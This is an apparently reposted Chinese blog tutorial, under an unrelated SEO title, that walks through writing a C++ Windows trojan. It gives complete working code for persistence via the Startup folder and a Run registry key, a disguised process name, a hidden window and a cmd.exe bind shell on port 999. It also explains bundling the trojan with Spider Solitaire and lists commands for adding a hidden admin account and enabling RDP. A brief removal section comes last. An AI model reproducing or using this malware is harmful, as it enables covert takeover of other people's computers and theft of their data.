b2科目四模拟试题多少题驾考考爆了怎么补救
b2科目四模拟试题多少题 驾考考爆了怎么补救

使用C++实现一个简单的木马,实现远程控制功能

电脑杂谈  发布时间:2021-03-25 13:10:44  来源:网络整理

使用C ++实现一个简单的木马,实现木马的远程控制功能,可以自动启动并伪装或隐藏它,最后通过清除木马来掌握常规的木马调查和查杀方法。

工具:vc ++ 6. 0

攻击机:win10(ip随机)目标机:19 2. 16 8. 1. 129

什么是一、木马?

这是一个老式的问题。木马(Trojan)这个名称来自古希腊传说(荷马史诗中的一个木马的故事。木马这个词的原始含义是木马,这也是木马的故事。)

二、木马隐藏技术

木马会尽力隐藏自己,主要方法是:将自己隐藏在任务栏中,这是最基本的方法。只要将“窗体”的“可见”属性设置为False,并且将ShowInTaskBar设置为False,程序运行时(MFC编程)它就不会出现在任务栏中。在任务管理器中不可见:您可以通过将程序设置为“系统服务”来轻松地伪装自己。当然,它将以静默方式启动。黑客当然不希望用户每次启动时都单击“木马”图标来运行服务器。每次用户启动时,都会自动加载“木马”。 Windows系统启动时,将使用“木马”自动加载应用程序的方法,例如:启动组,Win.ini,System.ini,注册表等都是“木马”隐藏的好地方。木马与计算机网络中经常使用的远程控制软件有些相似,但是由于远程控制软件是“诚信”控制,因此通常不会被隐藏。 “木马”是完全相反的,木马想要实现的是“盗窃”。性,如果没有强烈的掩盖,那就是“一文不值”。

三、木马程序的原理:

木马病毒的工作原理:完整的木马程序包由两部分组成:服务器(服务器部分)和客户端(控制器部分)。是将服务器植入到另一方的计算机中,并且黑客使用客户端来访问运行该服务器的计算机。运行木马程序的服务器后,将生成一个名称,该名称容易引起用户的困惑,将秘密打开端口,并将数据发送到指定位置(例如,游戏的密码,密码)。即时通讯软件和用户的Internet密码等),甚至黑客也可以使用这些开放端口进入计算机系统。

四、编写后门类型木马程序:

编写一个可以伪装成其他应用程序的反向外壳木马(如扫雷游戏或坦白代码之类的伪装程序),然后单击以打开特定的端口(或可以使用端口多路复用技术,这种方法更适合服务器)等待客户端连接。客户端使用telnet之后,您可以反弹以获取外壳,然后执行所需的任何操作(创建新的帐户密码,远程桌面连接等)。

木马可以在启动后自动启动,消失在任务管理器的“应用程序”列中,并假装为“进程”列中的其他进程。

1.木马的功能模块图

在这里插入图片描述

2.代码在引导后实现了每个部分的自启动

windwos有一个自启动文件夹。系统启动时,它将自动运行“开始”->“启动子菜单中的所有项目”

在这里插入图片描述

注意:“文档和设置”文件下有多个文件夹。

“管理员”文件夹下的那个对当前用户的专用帐户有效

“所有用户”文件对所有用户均有效。

因此,通常为了方便起见,我们将其放在“所有用户”文件下

要实现它,我将首先介绍两个功能:

1) UINT GetSystemDirectory()函数

UINT GetSystemDirectory(LPTSTR lpBuffer,UINT uSize);

编写木马教程_怎么编写木马程序_木马编写教程2015

此函数的参数lpBuffer将返回系统路径,我们提取前两个以获取系统分区,例如“ C:”

2) DWORD GetModuleFileName()函数

DWORD GetModuleFileName(HMODULE hModule,LPTSTR lpFilename,DWORD nSize);

此函数返回程序本身的完整路径

完整代码:

#include
#include
int main(void){
	char FileName[MAX_PATH];//存储程序自身的绝对路径
	char TempPath[MAX_PATH];//存储系统存放路径,主要获取系统盘盘符
	char TempBuffer[MAX_PATH];
	GetModuleFileName(NULL,FileName,sizeof(FileName));
	GetSystemDirectory(TempPath,sizeof(TempPath));
	sprintf(TempBuffer,"%c%c\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\torjan.exe",TempPath[0],TempPath[1]);
	CopyFile(FileName,TempBuffer,TRUE);  //将程序复制到启动文件夹中
return 0;
}

-将您自己添加到注册表启动键中

有许多自启动注册表路径,您可以自己找到,最常用的是:

HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run

HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Run

在这里,我们选择第一个编写代码。我们仅使用一个主要功能:

///写入注册表///
GetPrivateProfileStringA("Main", "KeyName", "kinni", key_name, sizeof(key_name), ".\\config.ini");//键
GetPrivateProfileStringA("Main","ProcessPath",FileName,process_path,sizeof(process_path), ".\\config.ini");//值

我们分别设置注册表项和注册表值,密钥是:kinni,值是FileName,而FileName是木马文件的绝对路径。

-打开端口

主要方法是从建立CSocket开始,然后绑定端口999,然后监视此端口,然后从客户端接收命令,最后关闭CSocket。这是一个相对简单的前向连接后门程序。该程序之所以相对简单,是因为木马会在系统重启时被清除。

创建套接字连接的代码相对简单。

让我说说一个小技巧:由于我们编写了cmd木马,因此我们不需要在整个过程中显示cmd的黑色窗口,因此我们可以直接屏蔽cmd窗口,请使用:

//设置链接器选项
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") 

因为我们最终想将本地外壳弹回客户端,所以我们必须首先获取本地cmd.exe的路径。

//获取CMD路径
	GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));
//COMSPEC是代表cmd,获取更多环境变量可以查看一下本函数的更多参数

我们将集成所有代码以获得完整的代码:


#pragma comment(lib,"ws2_32.lib")
//设置连接器选项
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include 
#include
#include
#define MasterPort 999 //定义端口
void open_telnet(){
	WSADATA WSADa;//用来存储被WSAStartup函数调用后返回的win sockets数据
	sockaddr_in SockAddrin;
	SOCKET CSocket, SSocket;
	int AddrSize;
	PROCESS_INFORMATION Processinfo;
	STARTUPINFO Startupinfo;
	char szCMDPath[255];
	//配内存资源,初始化数据
	ZeroMemory(&Processinfo, sizeof(PROCESS_INFORMATION));
	ZeroMemory(&Startupinfo, sizeof(STARTUPINFO));
	ZeroMemory(&WSADa, sizeof(WSADATA));
	//获取CMD路径
	GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));
	//加载ws2_32.dll
	WSAStartup(0x202, &WSADa);
	//设置本地信息和绑定协议,建立socket
	SockAddrin.sin_family = AF_INET;
	SockAddrin.sin_addr.s_addr = INADDR_ANY;
	SockAddrin.sin_port = htons(MasterPort);
	CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
	//设置绑定断端口999
	bind(CSocket, (sockaddr*)&SockAddrin, sizeof(SockAddrin));
	//设置服务器端口
	listen(CSocket, 1);
	AddrSize = sizeof(SockAddrin);
	//开始连接远程服务器,并配置隐藏窗口结构体
	SSocket = accept(CSocket, (sockaddr*)&SockAddrin, &AddrSize);
	Startupinfo.cb = sizeof(STARTUPINFO);
	Startupinfo.wShowWindow = SW_HIDE;
	Startupinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	Startupinfo.hStdInput = (HANDLE)SSocket;
	Startupinfo.hStdOutput = (HANDLE)SSocket;
	Startupinfo.hStdError = (HANDLE)SSocket;
	//创建匿名管道
	CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &Startupinfo, &Processinfo);
	WaitForSingleObject(Processinfo.hProcess, INFINITE);
	CloseHandle(Processinfo.hProcess);
	CloseHandle(Processinfo.hThread);
	//关闭进程句柄
	closesocket(CSocket);
	closesocket(SSocket);
	WSACleanup();
    //关闭连接卸载ws2_32.dll
}
int regedit(HKEY key, const char* reg_name, const char* key_name, const char* key_value)
{
	HKEY hkResult;  
	int ret=RegOpenKeyEx(key, reg_name, 0, KEY_ALL_ACCESS, &hkResult);
	if(ret != 0)
		return ret;
	ret=RegSetValueEx(hkResult, key_name, 0, REG_EXPAND_SZ, (CONST BYTE*)key_value, 75);
	if(ret==0)
	{  
		RegCloseKey(hkResult);
		return 0;
	}  
	else
	{  
		return ret;
	}
}
int autopen(const char* key_name, const char* process_path)
{
	char reg_name[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
	return regedit(HKEY_LOCAL_MACHINE, reg_name, key_name, process_path);
}
int main(void)  
{
	char key_name[100];
	char process_path[1024];
	///写入启动文件夹
	char FileName[MAX_PATH];//存储程序自身的绝对路径
	char TempPath[MAX_PATH];//存储系统存放路径,主要获取系统盘盘符
	char TempBuffer[MAX_PATH];
	GetModuleFileName(NULL,FileName,sizeof(FileName));
	GetSystemDirectory(TempPath,sizeof(TempPath));
	sprintf(TempBuffer,"%c%c\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\svghost.exe",TempPath[0],TempPath[1]);
	CopyFile(FileName,TempBuffer,TRUE);  //将程序复制到启动文件夹中
	///写入注册表///
	GetPrivateProfileStringA("Main", "KeyName", "kinni", key_name,  sizeof(key_name), ".\\config.ini");
	GetPrivateProfileStringA("Main", "ProcessPath", "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\svghost.exe", process_path,  sizeof(process_path), ".\\config.ini");	
	int ret = autopen(key_name, process_path);
	open_telnet();//远程telnet	
	return 0;  
} 

文档伪装

如上所述,在编译并运行我们的代码之后,我们得到了一个exe文件,但是我们隐藏了命令行窗口,因此在单击run之后,将没有任何响应。

怎么编写木马程序_木马编写教程2015_编写木马教程

但是,没有人会愚蠢地运行根本没有任何代码的代码。我们必须将其与其他程序捆绑在一起,并在无人机用户不知道的情况下秘密执行它们。

我们可以在Internet上找到一些辅助工具来帮助我们。我找到了一个名为ExeBinder.exe的软件。

该程序可以将两个可执行文件捆绑在一起,但是当您单击运行时,它将同时运行两个文件。

对于我们的木马,它只是量身定制的。

首先,打包我们前面提到的功能并将其写入exe文件:torjan.exe

(程序名称更改为svghost.exe,以便稍后掩盖效果)

让我们看一下当前的启动文件夹和注册表内容:

在这里插入图片描述

好,很好。

运行我们的exe文件

在这里插入图片描述

您可以看到已添加了启动文件夹和注册表项。

该功能正常。现在,我们将其绑定到正常程序。在这里,我们选择了蜘蛛纸牌。当然,我们可以选择我们自己编写的其他有趣的代码。

在这里插入图片描述

3.木马测试

首先,必须确保无人驾驶飞机必须运行一次以上木马,然后才能进行连接。

-连接测试

接下来,让我们测试一下我们是否可以远程连接到目标计算机。

尝试使用另一台计算机(win10 + Powershell)进行连接

在这里插入图片描述

成功弹回外壳。

-无人机观察

运行后,我们观察到任务管理器:仅显示蜘蛛纸牌,这非常好!

怎么编写木马程序_编写木马教程_木马编写教程2015

在这里插入图片描述

让我们看一下下面的过程,

在这里插入图片描述

-重新启动并重新连接

在这里插入图片描述

计算机刚刚打开,并且在提示启动时间时,已经可以连接到目标计算机了。

4.更多操作

连接到远程外壳后,我们可以创建一个新用户,然后加入管理员组。

net user admin /add    //创建admin 用户 密码为空
net localgroup adminators admin /add    //赋与admin用户,管理员权限

然后打开远程桌面功能(即端口3389),并在连接后将自己隐藏为用户。

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

但是...我在这里,并且它没有打开。原因是命令行提示我参数太多。可能是telnet的命令行,这有点问题。

如果您有兴趣,可以自己尝试。

五、删除木马

首先,我们需要观察自启动文件夹,并删除所有异常和不必要的自启动程序。

然后,注册表会自动启动,并且必须检查“运行”下的每个键值,尤其是如果该值在某个路径中是.exe,并且您不知道此exe是什么,请转到相应的目录以进行查看文件并删除键值。

删除木马,因为此木马使用伪装,复制和注册表项,所以我们需要一个一个地清除它们:

首先打开任务管理器,关闭蜘蛛纸牌应用程序,从该进程中以管理员身份找到svghost.exe的所有者,然后结束该进程;

然后,打开本地C驱动器启动文件夹并删除svghost.exe程序;

同时,删除与木马捆绑在一起的本地蜘蛛纸牌(或其他应用程序);

最后,打开注册表并输入自启动密钥(必须仔细检查,并且必须仔细检查“运行”下的密钥,但该木马使用的是更经典的位置),HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \运行,删除svghost.exe的include对应的键-值关系。

重新启动计算机。

[写在后面]

*本文中获取外壳程序的部分涉及安全老板的以下帖子:


本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/shouji/article-366407-1.html

    相关阅读
      发表评论  请自觉遵守互联网相关的政策法规,严禁发布、暴力、反动的言论

      • 杨静
        杨静

        美国看不下去了

        • 常宇
          常宇

          如果我们不趁机加强南海诸岛的军事存在

      热点图片
      拼命载入中...